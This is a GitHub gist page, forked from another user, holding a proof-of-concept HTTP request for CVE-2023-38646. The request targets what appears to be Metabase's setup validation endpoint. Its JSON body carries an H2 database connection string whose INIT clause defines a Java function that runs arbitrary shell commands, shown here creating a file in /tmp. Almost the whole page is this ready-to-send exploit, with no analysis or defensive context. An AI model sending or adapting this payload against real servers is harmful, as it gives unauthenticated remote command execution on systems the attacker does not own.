Skip to content

Instantly share code, notes, and snippets.

@ASkyeye

ASkyeye/cve-2023-38646_poc.txt

Forked from testanull/cve-2023-38646_poc.txt
Created July 28, 2023 12:55
Show Gist options
  • Save ASkyeye/6a6944bdcd013dcf04d111d52409d711 to your computer and use it in GitHub Desktop.
Save ASkyeye/6a6944bdcd013dcf04d111d52409d711 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
cve-2023-38646_poc.txt
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Content-Length: 416
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0
Connection: close
{"token":"d66c72f1-ddf7-4d55-aaff-53ffbd4fbb7b","details":{"details":{
"subprotocol":"h2",
"classname":"org.h2.Driver","advanced-options":true,
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('touch /tmp/xxx');"},"name":"x","engine":"postgres"}}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment